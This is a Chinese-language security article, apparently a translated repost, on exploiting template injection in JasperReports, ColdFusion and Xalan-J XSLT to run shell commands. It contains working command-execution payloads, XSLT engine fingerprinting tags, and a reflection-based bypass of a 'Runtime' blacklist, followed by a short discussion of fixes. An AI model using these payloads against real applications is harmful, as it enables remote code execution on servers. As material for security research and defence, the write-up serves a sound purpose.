模版引擎的执行流程:

通用执行shell命令的代码

Runtime.getRuntime().exec(‘whoami’);

Java8获取输出流的代码

BufferedReader(newInputStreamReader(inputStream)).lines().collect(Collectors.joining(“n”));

获取命令执行的结果

new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(“whoami”).getInputStream())).lines().collect(Collectors.joining(“n”));

 

JasperReports模版注入方法测试环境:

插入利用代码,打包项目war包

vulapp/japerreports/jasperreports-6.6.0/demo/samples/webapp

ant -lib lib/ivy-2.2.0.jar

ant war -lib lib/ivy-2.2.0.jar

扔进tomcat,执行

http://127.0.0.1:8080/jasper-webapp/jsp/compile.jsp

http://127.0.0.1:8080/jasper-webapp/jsp/fill.jsp

关于JasperReports留后门技巧,前年foxglovesecurity写一篇文章,感兴趣的可以看一下。

https://foxglovesecurity.com/2016/10/14/hacking-jasperreports-the-hidden-shell-feature/

ColdFusion模版注入方法

#CreateObject('java','java.io.BufferedReader').init(CreateObject('java','java.io.InputStreamReader').init(CreateObject('java','java.lang.Runtime').getRuntime().exec('whoami').getInputStream())).lines().collect(CreateObject('java','java.util.stream.Collectors').joining('n'))#

Xalan-JXSLT 1.0模版注入方法

eXtensible Stylesheet LanguageTransformations (XSLT)的利用。

XSLT设计用于XML转换,将一个XML文档转换为另一个XML文档,或者是HTML等其他格式。

然而,XSLT语言是图灵完备的,因此存在很多的攻击面。例如,在应用程序中,用户可以为发送的电子邮件定义模板。

重要一点是XSLT的利用方法取决于它使用的引擎。将以下标记添加到XSL文档,可以检测到基本信息。

<xsl:value-ofselect=”system-property(‘xsl:version’)”/>

<xsl:value-ofselect=”system-property(‘xsl:vendor’)”/>

<xsl:value-ofselect=”system-property(‘xsl:vendor-url’)”/>

返回结果

识别出来引擎指纹识别为Xalan-J之后,我研究了针对它的特定攻击。网上关于攻击XSLT引擎的信息很少,找到的一片文章http://xhe.myxwiki.org/xwiki/bin/view/XSLT/。文章里可以找到作者测试过的每个XSLT引擎的特定攻击。我修改了payload以便一行代码搞定执行命令:

<xsl:variable name=”abcd”select=”Runtime:exec(Runtime:getRuntime(),’whoami’)”xmlns:Runtime=”http://xml.apache.org/xalan/java/java.lang.Runtime”/>

此标记将执行命令”whoami”,但不会回显。 获取回显稍微困难一些。 原因是该版本Xalan-J中缺少可靠的循环,但仍然可以逐行手动读取输出,回显的xslt标签内容:

以上代码是下面Java代码的XSLT版本。此代码要求为输出中的每一行重复最后一个标记:

BufferedReader mnop = newBufferedReader(newInputStreamReader(Runtime.getRuntime().exec(“whoami”).getInputStream()));

mnop.readLine();

mnop.readLine();

总结:

最大的问题是如何修复这个漏洞。正常情况下重新设计功能确保无法执行命令。但是,这通常太耗时,因此可以更快地应用“修复”。 黑名单是我看到这个问题得到修复的最常见方式。在大多数情况下,这不是一个可行的解决方案,因为它涉及为整个语言创建黑名单。 这也浪费时间游戏的开始,找到bypass方法/修复漏洞,直到有人放弃。我已经看到字符串”RunTime”被列入黑名单,可以通过一下方法进行bypass:

Class.forName("java.util.Scanner").getMethod("next").invoke(Class.forName("java.util.Scanner").getMethod("useDelimiter",String.class).invoke(Class.forName("java.util.Scanner").getConstructor(InputStream.class).newInstance(Class.forName("java.lang.Process").getMethod("getInputStream").invoke(Class.forName("java.lang.Run"+"time").getMethod("exec",String.class).invoke(Class.forName("java.lang.Run"+"time").getMethod("getRun"+"time").invoke(null),"whoami"))), "n"))

这个问题的另一种常见修复方式就是风险接受。 此漏洞通常涉及对预期功能的利用。 模板定义权限通常保留给少数管理员。 但是,通过Web应用程序可能获取到系统层的权限,所以可利用的自定义模板功能应被视为漏洞。

原文:

https://depthsecurity.com/blog/exploiting-custom-template-engines

https://foxglovesecurity.com/2016/10/14/hacking-jasperreports-the-hidden-shell-feature/

FROM:安全脉搏